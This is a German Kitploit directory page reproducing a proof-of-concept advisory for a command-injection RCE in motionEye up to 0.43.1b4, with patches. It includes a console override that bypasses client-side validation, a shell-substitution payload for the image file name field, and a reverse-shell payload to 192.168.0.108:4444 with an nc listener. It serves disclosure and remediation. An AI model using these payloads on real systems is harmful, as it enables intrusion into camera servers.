Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
motionEye-RCE-through-config-parameter — PoC-Schritte für diese Schwachstelle | Kitploit
Tools/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

PoC-Schritte für diese Schwachstelle

Repository anzeigen
211vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MotionEye RCE durch Umgehung der Client-seitigen Validierung

Zusammenfassung

Bei einem Sicherheitstest einer in Docker laufenden MotionEye-Instanz wurde beobachtet, dass die Client-seitige Validierung in der Weboberfläche umgangen werden kann. Dadurch können beliebige Eingaben übermittelt werden, einschließlich Payloads, die eine Ausführung auf dem Container auslösen können. Das Problem birgt das Risiko einer Remote-Codeausführung (RCE), wenn es ausgenutzt wird.

Betroffene Versionen: Alle Versionen bis einschließlich 0.43.1b4
Patch-Status: Noch kein Patch verfügbar. In diesem Advisory wird ein Workaround angegeben.
Projektreferenz: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Umgebung

  • Ziel: MotionEye läuft in Docker
  • Image: ghcr.io/motioneye-project/motioneye:edge
  • Freigegebener Port: 9999 auf den Container-Port 8765 gemappt
  • Test-Anmeldedaten: admin / leeres Passwort (Standard)

  • Schritte zur Reproduktion

    1. Container-Setup

    Führen Sie den folgenden Befehl aus, um das Docker-Image herunterzuladen und den Container zu starten:

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. Versionsprüfung

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    Ergebnis: MotionEye-Server 0.43.1b4 image

    3. Dateisystemzugriff

    Sobald der Docker-Container läuft, kann mit den folgenden Befehlen auf die Container-Shell zugegriffen werden:

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. Erstzugriff

    Webinterface aufrufen unter:
    http://127.0.0.1:9999
    Anmeldung: admin (leeres Passwort)

    5. Kamera-Setup

    Beispiel-RTSP-Netzwerkkamera hinzugefügt.
    image

    6. Injektionsversuch

    In das Feld „Still Images“ > „Image File Name“ wurde ein bösartiger Ausführungsbefehl eingegeben, aber es wurde ein Fehler der Client-seitigen Validierung ausgelöst.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    Von der Client-seitigen Validierung blockiert.
    image

    image

    7. Entdeckung der Client-seitigen Validierung

    Das folgende Skript ist für die Validierung verantwortlich: /static/js/main.js?v=0.43.1b4, das auf /static/js/ui.js?v=0.43.1b4 verweist, um die Validierungsbedingungen umzusetzen.

    Datei: /static/js/main.js?v=0.43.1b4, die auf /static/js/ui.js?v=0.43.1b4 verweist

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. Umgehungstechnik

    Durch Überschreiben der Funktion configUiValid in der Browserkonsole können alle Validierungsprüfungen umgangen werden: Fügen Sie den folgenden Codeausschnitt in die Konsole des Browsers ein (F12 oder Strg+Umschalt+I)

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. Payload-Ausführung

    Nun kann die Payload ohne jede Validierung direkt eingegeben werden: wie unten angegeben einstellen und die Einstellungen übernehmen (Apply).

    Einstellungen:

    • Capture mode = Interval Snapshots
    • Interval = 10
    • Image File Name:
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    Übernommen → Datei mit Root-Rechten erstellt.

    image

    Auswirkungen: RCE nutzbar machen

    Einfache Erstellung einer Reverse Shell:

    Listener:

    root@kitploit:~
    nc -lvnp 4444
    
    image

    Injizierte Payload:

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    Ergebnis: Remote-Shell erhalten.


    Grundursache und Ablauf

    MotionEye ist verwundbar, weil es Benutzereingaben aus dem Web-Dashboard übernimmt und ohne Prüfung auf gefährliche Zeichen direkt in die Motion-Konfigurationsdateien schreibt. Beispielsweise wird das Feld image_file_name in der Benutzeroberfläche an das Backend (config.py) gesendet und in /etc/motioneye/camera-.conf gespeichert. Wenn MotionEye den Motion-Dienst neu startet (motionctl.start), liest der Motion-Prozess diese Konfigurationsdatei. Wenn das Feld picture_filename Shell-Syntax wie $(touch /tmp/test) enthält, führt Motion dies als echten Befehl aus, anstatt es als Teil des Dateinamens zu behandeln.

    Ungefilterte Eingabe, die in Motion-Konfigurationsdateien geschrieben wird:
    Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parst picture_filename → führt Payload aus


    Prävention

    Bereinigungs-Fix

    Datei: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    Bereinigung anwenden:

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    vorher: image nachher: image


    Alternative Lösung

    Schritt 1: Docker-Container starten

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    Schritt 2: Auf den Container zugreifen

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    Schritt 3: Konfiguration ändern

    Original:

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    Ersetzen durch:

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    Schritt 4: Neustart

    root@kitploit:~
    docker restart motioneye
    
    image

    Alternativer Patch

    Innerhalb von motion_camera_ui_to_dict(...):

    Original:

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    Ersetzen durch:

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    
    Tool herunterladen